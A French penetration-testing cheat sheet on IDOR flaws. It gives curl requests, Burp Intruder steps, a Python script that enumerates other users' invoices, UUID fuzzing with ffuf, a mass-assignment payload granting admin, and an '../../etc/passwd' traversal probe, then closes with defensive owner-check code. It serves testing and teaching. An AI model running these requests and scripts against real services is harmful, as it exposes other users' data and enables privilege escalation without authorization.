---
title: "IDOR — Insecure Direct Object Reference"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [idor, bola, access-control, broken-access, api, burpsuite, pentest]
difficulty: intermediate
status: stable
updated: "2026-05-14"
---
## Principe

```
IDOR : l'application utilise une référence directe (ID, nom de fichier, chemin)
sans vérifier que l'utilisateur courant est autorisé à accéder à cet objet.

GET /api/users/1337/profile        → profil de l'utilisateur 1337
GET /api/invoices/42/download      → facture #42
GET /documents/rapport_confidentiel.pdf  → fichier direct

Si l'ID est devinable et qu'aucun contrôle d'accès ne filtre la réponse → IDOR
```

---

## Identification des surfaces IDOR

```
Points à tester :
  - Paramètres d'URL        : /api/orders?id=123, /profile/456
  - Corps de requête POST   : {"user_id": 789, "invoice": 42}
  - Headers HTTP            : X-User-ID: 123
  - Cookies                 : account=789
  - Noms de fichiers        : /uploads/user_123_photo.jpg
  - Références croisées     : /api/messages?from=123&to=456
  - GUIDs                   : /api/docs/550e8400-e29b-41d4-a716-446655440000
```

---

## Test manuel avec Burp Suite

```
1. Se connecter avec Compte A (user_id = 100)
2. Trouver une requête référençant l'ID : GET /api/profile/100
3. Dans Burp Repeater → changer 100 → 101
4. Observer la réponse :
   - 200 + données de l'utilisateur 101 → IDOR confirmé
   - 403 / 401 → contrôle d'accès présent
   - 200 + même données → réponse cache possible (vérifier)
```

### Tester avec deux comptes

```bash
# Compte A : user_id=100, token=TOKEN_A
# Compte B : user_id=101, token=TOKEN_B

# Accès légitime Compte B
curl -H "Authorization: Bearer {{TOKEN_B}}" \
  https://{{TARGET}}/api/profile/101

# IDOR : Compte B accède au profil de A
curl -H "Authorization: Bearer {{TOKEN_B}}" \
  https://{{TARGET}}/api/profile/100
# → Si réponse 200 avec données de A = IDOR confirmé

# IDOR vertical : Compte B (user) accède aux ressources admin
curl -H "Authorization: Bearer {{TOKEN_B}}" \
  https://{{TARGET}}/api/admin/users
```

---

## Burp Intruder — Énumération d'IDs

```
1. Capturer : GET /api/invoices/42 (requête valide)
2. Envoyer vers Intruder → marquer §42§
3. Payload : Numbers → From 1 To 5000 Step 1
4. Start Attack → filtrer sur Status 200 et Content-Length variable
5. Les réponses 200 avec contenu ≠ vide = ressources accessibles
```

```python
# Script Python — énumération automatisée d'IDOR
import requests
import json

BASE_URL = "https://{{TARGET}}/api/invoices"
TOKEN = "{{USER_TOKEN}}"
headers = {"Authorization": f"Bearer {TOKEN}"}

found = []
for invoice_id in range(1, 10000):
    r = requests.get(f"{BASE_URL}/{invoice_id}", headers=headers, timeout=5)
    if r.status_code == 200:
        data = r.json()
        # Vérifier que la ressource n'appartient pas à notre compte
        if data.get("user_id") != {{OWN_USER_ID}}:
            found.append({"id": invoice_id, "owner": data.get("user_id")})
            print(f"[IDOR] /api/invoices/{invoice_id} → user {data.get('user_id')}")

print(f"\nTotal IDOR : {len(found)} ressources")
```

---

## IDOR sur les GUIDs

```bash
# Les GUIDs semblent non-devinables mais peuvent être prédictibles si :
# - UUID v1 (basé sur le timestamp + MAC) → extractible
# - UUID v4 faible entropie (PRNG seed fixe)

# Tester si les GUIDs sont séquentiels ou liés au temps :
# UUID v1 : 110ec58a-a0f4-11e8-ac7e-1a2b3c4d5e6f
# → timestamp dans les premiers octets

# Fuzzing avec ffuf sur endpoint GUID
ffuf -w uuids.txt -u "https://{{TARGET}}/api/docs/FUZZ" \
  -H "Authorization: Bearer {{TOKEN}}" \
  -mc 200 -fs 0

# Générer une liste d'UUIDs v1 séquentiels
python3 -c "
import uuid, time
base_time = time.time()
for i in range(1000):
    print(uuid.uuid1())
" > uuids.txt
```

---

## IDOR via paramètres cachés (Mass Assignment)

```bash
# Certaines APIs acceptent des champs non documentés dans le body
# Exemple : PATCH /api/profile avec champ "role" ou "user_id"

# Test mass assignment
curl -X PATCH https://{{TARGET}}/api/profile \
  -H "Authorization: Bearer {{TOKEN}}" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'

# Test : modifier le user_id dans la requête
curl -X GET https://{{TARGET}}/api/orders \
  -H "Authorization: Bearer {{TOKEN}}" \
  -H "Content-Type: application/json" \
  -d '{"user_id": {{VICTIM_USER_ID}}}'
```

---

## IDOR dans les APIs REST — patterns courants

```bash
# Ressource indirecte (référence dans le body)
POST /api/messages
{"to_user_id": {{VICTIM_ID}}, "content": "test"}
# → Tester si "from_user_id" peut être forcé dans le body

# Téléchargement de fichier
GET /api/files/download?filename=report_user_100.pdf
# → Tester : report_user_101.pdf, ../../etc/passwd

# Export de données
GET /api/export?account_id={{OWN_ID}}&format=csv
# → Tester account_id={{VICTIM_ID}}

# Référence indirecte dans un JWT
# Décoder le JWT : {"sub": "100", "role": "user"}
# Forger avec sub=101 si clé connue (voir fiche JWT)
```

---

## Défense — Contrôle d'accès

```python
# Python (Flask) — vérification systématique du propriétaire
from functools import wraps

def require_owner(resource_fn):
    """Décorateur : vérifie que l'utilisateur courant est propriétaire de la ressource."""
    @wraps(resource_fn)
    def wrapper(*args, **kwargs):
        resource_id = kwargs.get('resource_id')
        resource = db.get_resource(resource_id)
        if resource is None:
            abort(404)
        if resource.owner_id != current_user.id:
            abort(403)       # Ne jamais retourner 404 ici — évite l'énumération
        return resource_fn(*args, **kwargs)
    return wrapper

@app.route('/api/invoices/<int:resource_id>')
@login_required
@require_owner
def get_invoice(resource_id):
    return jsonify(db.get_resource(resource_id))
```

```python
# Requête SQL avec filtre propriétaire intégré
def get_user_invoice(invoice_id: int, user_id: int):
    # Ne jamais : SELECT * FROM invoices WHERE id = ?
    # Toujours : inclure le filtre utilisateur dans la requête
    return db.execute(
        "SELECT * FROM invoices WHERE id = ? AND user_id = ?",
        (invoice_id, user_id)
    ).fetchone()
```

```python
# Utiliser des références indirectes opaques (IDOR mitigation)
import secrets, hashlib

def get_opaque_ref(internal_id: int, user_id: int) -> str:
    """Génère une référence opaque liée à l'utilisateur — non-devinable."""
    secret = f"{internal_id}:{user_id}:{app.config['SECRET_KEY']}"
    return hashlib.sha256(secret.encode()).hexdigest()[:16]

# L'API expose /api/invoices/a3f9c2d1e8b047f6 au lieu de /api/invoices/42
```

<Warning>
Les IDOR sont régulièrement classés #1 dans les bug bounty car ils sont faciles à trouver, difficiles à prévenir de façon systématique, et souvent très impactants (accès aux données de tous les utilisateurs). Un seul endpoint sans contrôle peut exposer l'ensemble de la base de données.
</Warning>

<Tip>
Tester les IDOR en mode horizontal (même rôle, autre utilisateur) ET vertical (rôle inférieur accédant aux ressources admin). Les IDOR verticaux (Broken Function Level Authorization) sont souvent plus critiques et plus oubliés lors des revues de code.
</Tip>
